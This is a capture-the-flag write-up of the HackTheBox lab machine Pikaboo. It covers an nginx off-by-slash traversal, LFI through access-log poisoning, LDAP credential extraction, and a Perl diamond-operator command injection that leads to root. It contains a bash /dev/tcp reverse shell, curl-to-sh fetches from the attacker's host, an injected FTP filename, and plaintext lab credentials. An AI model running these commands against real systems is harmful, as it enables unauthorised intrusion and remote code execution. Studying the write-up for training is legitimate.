Pikaboo is a hard rated machine on HackTheBox created by pwnmeow and polarbearer. For the user part we will exploit path normalisation on the web server configurations to access a restricted path. This will expose the server-status
revealing another directory on the webserver. The application running there is vulnerable to LFI which we can abuse with log poisoning to gain rce and a reverse shell. On the machine we will find ldap configuration in a settings file, with which we can query ldap to get the credentials for another user. With this user we can abuse a command injection in a perl script running as a cronjob to achive arbitrary command execution as root.
User
As usual we will start our enumeration off with a nmap scan against all ports followed by a script and version detection scan against the open ones, to get a full picture of the attack surface.
Nmap
All ports
1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.44.70
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-18 00:50 BST
Nmap scan report for 10.129.44.70
Host is up (0.20s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 58.92 seconds
Script and Version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sudo nmap -p 21,22,80 -sC -sV 10.129.44.70
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-18 00:56 BST
Nmap scan report for 10.129.44.70
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
| 256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_ 256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.53 seconds
Off-by-slash
From the open ports HTTP looks the most promising, since anonymous access on ftp is not allowed, so we will start there. Opening it up in our web browser we see a webpage about collecting pokemon.
Trying to browse to admin
the path is restricted by basic authorization.
Looking at the request in burp we see that we get denied by an apache reverse proxy before the nginx installation.
Running gobuster against the webroot we see that any directory containing admin
is blacklisted with a regex, to be protect by basic auth.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u 10.129.44.70/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.44.70/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/07/18 01:12:34 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 274]
/.html (Status: 403) [Size: 274]
/images (Status: 301) [Size: 319] [--> http://10.129.44.70/images/]
/admin (Status: 401) [Size: 456]
/administrator (Status: 401) [Size: 456]
/.htm (Status: 403) [Size: 274]
/admincp (Status: 401) [Size: 456]
/. (Status: 200) [Size: 6922]
/administration (Status: 401) [Size: 456]
/.htaccess (Status: 403) [Size: 274]
/admin_index (Status: 401) [Size: 456]
/admin_c (Status: 401) [Size: 456]
...[snip]...
However the is a off-by-slash missconfiguration in the the nginx config, which means we can we can traverse a directory back and access the server root. The vulnerability is well outlined in this post by orange tsai starting on slide 17. Running another gobuster against this we find we have now access to the apache server-status
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u 10.129.44.70/admin../
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.44.70/admin../
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/07/18 01:11:22 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 274]
/admin (Status: 401) [Size: 456]
/.html (Status: 403) [Size: 274]
/.htm (Status: 403) [Size: 274]
/javascript (Status: 301) [Size: 314] [--> http://127.0.0.1:81/javascript/]
/. (Status: 403) [Size: 274]
/.htaccess (Status: 403) [Size: 274]
/.phtml (Status: 403) [Size: 274]
/.htc (Status: 403) [Size: 274]
/.html_var_DE (Status: 403) [Size: 274]
/server-status (Status: 200) [Size: 4341]
/.htpasswd (Status: 403) [Size: 274]
/.html. (Status: 403) [Size: 274]
...[snip]...
The first entry in the server-status
show a directory we havenโt found previously.
Log poisoning
Browsing to this page there is a Material Dashboard
website
Clicking on User Profile
we see it loads the site over the page
parameter on index.php
.
Checking for other possible pages with ffuf we find an info.php
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ ffuf -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.129.44.70/admin../admin_staging/index.php?page=FUZZ -fs 15349 -e .php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.129.44.70/admin../admin_staging/index.php?page=FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt
:: Extensions : .php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 15349
________________________________________________
user.php [Status: 200, Size: 24978, Words: 7266, Lines: 578]
info.php [Status: 200, Size: 87036, Words: 6725, Lines: 1170]
tables.php [Status: 200, Size: 29131, Words: 11707, Lines: 744]
dashboard.php [Status: 200, Size: 40555, Words: 15297, Lines: 883]
index.php [Status: 200, Size: 0, Words: 1, Lines: 1]
:: Progress: [5176/5176] :: Job [1/1] :: 1306 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
This displays the phpinfo()
and reveals the open_basedir
is set to /var
. This mean we can include any file up from this directory.
If the configuration is set to interpret php code in any file we can get RCE by finding a file in these directories we can modify and include it. A good target for this is the access log of nginx since it logs the user agent.
In the first step we send the request to burp repeater and modify our user agent to be a small php web shell.
After sending the request we can set the user agent back now and add our defined parameter to the url calling the id
command. Looking at the output we see we have indeed achieved RCE and the webserver is running as the www-data
user.
To gain a reverse shell we just create an index.html
with a reverse shell in it.
index.html
1
2
3
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.11/7575 0>&1'
We serve this file over a python webserver and set up our listener on the port we specified in index.html
.
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Now we can send a command to curl our webserver and pipe the result to sh
, leading in a hit on our webserver followed by a connection from the target back to us.
1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.44.70 - - [18/Jul/2021 01:30:10] "GET / HTTP/1.1" 200 -
We upgrade our reverse shell fix the terminal size and can pick up the user flag in the home directory of pwnmeow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.44.70.
Ncat: Connection from 10.129.44.70:57152.
bash: cannot set terminal process group (670): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pikaboo:/var/www/html/admin_staging$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ing$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@pikaboo:/var/www/html/admin_staging$ export TERM=xterm
export TERM=xterm
www-data@pikaboo:/var/www/html/admin_staging$ ^Z
[1]+ Stopped nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575
www-data@pikaboo:/var/www/html/admin_staging$ stty rows 55 cols 236
1
2
www-data@pikaboo:/var/www/html/admin_staging$ wc -c /home/pwnmeow/user.txt
33 /home/pwnmeow/user.txt
Root
The next step is also coincidentally outlined in the post by orange tsai. The web app has a settings.py
file which contains the database credentials for ldap binduser:J~42%W?PFHl]g
.
LDAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@pikaboo:/$ cat /opt/pokeapi/config/settings.py
# Production settings
import os
from unipath import Path
PROJECT_ROOT = Path(__file__).ancestor(2)
...[snip]...
DATABASES = {
"ldap": {
"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
"PASSWORD": "J~42%W?PFHl]g",
},
"default": {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/opt/pokeapi/db.sqlite3",
}
}
...[snip]...
With these credentials we can now query ldap for all levels with the sub
scope. This results in another user with his password encoded in base64.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
www-data@pikaboo:/$ ldapsearch -s sub -b "dc=pikaboo,dc=htb" -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -w "J~42%W?PFHl]g"
# extended LDIF
#
# LDAPv3
# base <dc=pikaboo,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
...[snip]...
# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
...[snip]...
With pwnmeow:_G0tT4_C4tcH_'3m_4lL!_
we now have access to the ftp server and the user pwnmeow is also in the ftp group which will be important in the next step.
Perl command injection
Looking at cronjobs we see one running every minute as the root user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@pikaboo:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/local/bin/csvupdate_cron
The cronjob is a bash script that changes to every directory on the ftp server, executes /usr/local/bin/csvupdate
with the current base directory and the csv filename on all files ending with csv
in this directory and afterwards removes all the files.
/usr/local/bin/csvupdate_cron
1
2
3
4
5
6
7
8
#!/bin/bash
for d in /srv/ftp/*
do
cd $d
/usr/local/bin/csvupdate $(basename $d) *csv
/usr/bin/rm -rf *
done
The script getting called on the csvโs is custom perl script that parses a csv and writes it to /opt/pokeapi/data/v2/csv
after some checks.
/usr/local/bin/csvupdate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
#!/usr/bin/perl
##################################################################
# Script for upgrading PokeAPI CSV files with FTP-uploaded data. #
# #
# Usage: #
# ./csvupdate <type> <file(s)> #
# #
# Arguments: #
# - type: PokeAPI CSV file type #
# (must have the correct number of fields) #
# - file(s): list of files containing CSV data #
##################################################################
use strict;
use warnings;
use Text::CSV;
my $csv_dir = "/opt/pokeapi/data/v2/csv";
my %csv_fields = (
'abilities' => 4,
'ability_changelog' => 3,
'ability_changelog_prose' => 3,
'ability_flavor_text' => 4,
'ability_names' => 3,
'ability_prose' => 4,
'berries' => 10,
'berry_firmness' => 2,
'berry_firmness_names' => 3,
'berry_flavors' => 3,
'characteristics' => 3,
'characteristic_text' => 3,
'conquest_episode_names' => 3,
'conquest_episodes' => 2,
'conquest_episode_warriors' => 2,
'conquest_kingdom_names' => 3,
'conquest_kingdoms' => 3,
'conquest_max_links' => 3,
'conquest_move_data' => 7,
'conquest_move_displacement_prose' => 5,
'conquest_move_displacements' => 3,
'conquest_move_effect_prose' => 4,
'conquest_move_effects' => 1,
'conquest_move_range_prose' => 4,
'conquest_move_ranges' => 3,
'conquest_pokemon_abilities' => 3,
'conquest_pokemon_evolution' => 8,
'conquest_pokemon_moves' => 2,
'conquest_pokemon_stats' => 3,
'conquest_stat_names' => 3,
'conquest_stats' => 3,
'conquest_transformation_pokemon' => 2,
'conquest_transformation_warriors' => 2,
'conquest_warrior_archetypes' => 2,
'conquest_warrior_names' => 3,
'conquest_warrior_ranks' => 4,
'conquest_warrior_rank_stat_map' => 3,
'conquest_warriors' => 4,
'conquest_warrior_skill_names' => 3,
'conquest_warrior_skills' => 2,
'conquest_warrior_specialties' => 3,
'conquest_warrior_stat_names' => 3,
'conquest_warrior_stats' => 2,
'conquest_warrior_transformation' => 10,
'contest_combos' => 2,
'contest_effect_prose' => 4,
'contest_effects' => 3,
'contest_type_names' => 5,
'contest_types' => 2,
'egg_group_prose' => 3,
'egg_groups' => 2,
'encounter_condition_prose' => 3,
'encounter_conditions' => 2,
'encounter_condition_value_map' => 2,
'encounter_condition_value_prose' => 3,
'encounter_condition_values' => 4,
'encounter_method_prose' => 3,
'encounter_methods' => 3,
'encounters' => 7,
'encounter_slots' => 5,
'evolution_chains' => 2,
'evolution_trigger_prose' => 3,
'evolution_triggers' => 2,
'experience' => 3,
'genders' => 2,
'generation_names' => 3,
'generations' => 3,
'growth_rate_prose' => 3,
'growth_rates' => 3,
'item_categories' => 3,
'item_category_prose' => 3,
'item_flag_map' => 2,
'item_flag_prose' => 4,
'item_flags' => 2,
'item_flavor_summaries' => 3,
'item_flavor_text' => 4,
'item_fling_effect_prose' => 3,
'item_fling_effects' => 2,
'item_game_indices' => 3,
'item_names' => 3,
'item_pocket_names' => 3,
'item_pockets' => 2,
'item_prose' => 4,
'items' => 6,
'language_names' => 3,
'languages' => 6,
'languages' => 6,
'location_area_encounter_rates' => 4,
'location_area_prose' => 3,
'location_areas' => 4,
'location_game_indices' => 3,
'location_names' => 4,
'locations' => 3,
'machines' => 4,
'move_battle_style_prose' => 3,
'move_battle_styles' => 2,
'move_changelog' => 10,
'move_damage_classes' => 2,
'move_damage_class_prose' => 4,
'move_effect_changelog' => 3,
'move_effect_changelog_prose' => 3,
'move_effect_prose' => 4,
'move_effects' => 1,
'move_flag_map' => 2,
'move_flag_prose' => 4,
'move_flags' => 2,
'move_flavor_summaries' => 3,
'move_flavor_text' => 4,
'move_meta_ailment_names' => 3,
'move_meta_ailments' => 2,
'move_meta_categories' => 2,
'move_meta_category_prose' => 3,
'move_meta' => 13,
'move_meta_stat_changes' => 3,
'move_names' => 3,
'moves' => 15,
'move_target_prose' => 4,
'move_targets' => 2,
'nature_battle_style_preferences' => 4,
'nature_names' => 3,
'nature_pokeathlon_stats' => 3,
'natures' => 7,
'pal_park_area_names' => 3,
'pal_park_areas' => 2,
'pal_park' => 4,
'pokeathlon_stat_names' => 3,
'pokeathlon_stats' => 2,
'pokedexes' => 4,
'pokedex_prose' => 4,
'pokedex_version_groups' => 2,
'pokemon_abilities' => 4,
'pokemon_color_names' => 3,
'pokemon_colors' => 2,
'pokemon' => 8,
'pokemon_dex_numbers' => 3,
'pokemon_egg_groups' => 2,
'pokemon_evolution' => 20,
'pokemon_form_generations' => 3,
'pokemon_form_names' => 4,
'pokemon_form_pokeathlon_stats' => 5,
'pokemon_forms' => 10,
'pokemon_form_types' => 3,
'pokemon_game_indices' => 3,
'pokemon_habitat_names' => 3,
'pokemon_habitats' => 2,
'pokemon_items' => 4,
'pokemon_move_method_prose' => 4,
'pokemon_move_methods' => 2,
'pokemon_moves' => 6,
'pokemon_shape_prose' => 5,
'pokemon_shapes' => 2,
'pokemon_species' => 20,
'pokemon_species_flavor_summaries' => 3,
'pokemon_species_flavor_text' => 4,
'pokemon_species_names' => 4,
'pokemon_species_prose' => 3,
'pokemon_stats' => 4,
'pokemon_types' => 3,
'pokemon_types_past' => 4,
'region_names' => 3,
'regions' => 2,
'stat_names' => 3,
'stats' => 5,
'super_contest_combos' => 2,
'super_contest_effect_prose' => 3,
'super_contest_effects' => 2,
'type_efficacy' => 3,
'type_game_indices' => 3,
'type_names' => 3,
'types' => 4,
'version_group_pokemon_move_methods' => 2,
'version_group_regions' => 2,
'version_groups' => 4,
'version_names' => 3,
'versions' => 3
);
if($#ARGV < 1)
{
die "Usage: $0 <type> <file(s)>\n";
}
my $type = $ARGV[0];
if(!exists $csv_fields{$type})
{
die "Unrecognised CSV data type: $type.\n";
}
my $csv = Text::CSV->new({ sep_char => ',' });
my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";
shift;
for(<>)
{
chomp;
if($csv->parse($_))
{
my @fields = $csv->fields();
if(@fields != $csv_fields{$type})
{
warn "Incorrect number of fields: '$_'\n";
next;
}
print $fh "$_\n";
}
}
close($fh);
The only part that actually matter here is that the diamond operator is called directly on the contents of ARGV
. This leads to it interpreting special characters effectivly enabling command injection. This is also mentioned in the perl documentation about the diamond operator.
For this to work we need to have write access in a directory on the ftp server. Looking at the listing we see that the ftp group, which we are a member off, has write access on any directory. Which directory we actually use does not matter, we will use the versions directory in this case.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ftp 10.129.44.70
Connected to 10.129.44.70.
220 (vsFTPd 3.0.3)
Name (10.129.44.70:jack): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx-wx--- 2 ftp ftp 4096 May 20 09:54 abilities
drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_changelog
drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_changelog_prose
drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_flavor_text
drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_names
drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_prose
drwx-wx--- 2 ftp ftp 4096 May 20 08:01 berries
...[snip]...
Now we need to know what we want to inject. Since we already have our index.html
reverse shell we can use it again here. We set up our webserver again and also the corresponding listener.
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
After changing to a directory we can now upload a file with a name which will lead to curling our webserver and piping the result to sh.
1
2
3
4
5
6
7
ftp> cd versions
250 Directory successfully changed.
ftp> put x.csv "|curl 10.10.14.11|sh|x.csv"
local: x.csv remote: |curl 10.10.14.11|sh|x.csv
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
After about a minute we get a hit on our webserver followed by a reverse shell on our listener as the root user.
1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.44.70 - - [18/Jul/2021 01:55:42] "GET / HTTP/1.1" 200 -
We upgrade the shell again, fix the terminal size and can add the root flag to our collection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.44.70.
Ncat: Connection from 10.129.44.70:57176.
bash: cannot set terminal process group (13500): Inappropriate ioctl for device
bash: no job control in this shell
root@pikaboo:/srv/ftp/versions# python3 -c 'import pty;pty.spawn("/bin/bash")'
<ons# python3 -c 'import pty;pty.spawn("/bin/bash")'
root@pikaboo:/srv/ftp/versions# export TERM=xterm
export TERM=xterm
root@pikaboo:/srv/ftp/versions# ^Z
[1]+ Stopped nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575
root@pikaboo:/srv/ftp/versions# stty rows 55 cols 236
1
2
root@pikaboo:/srv/ftp/versions# wc -c /root/root.txt
33 /root/root.txt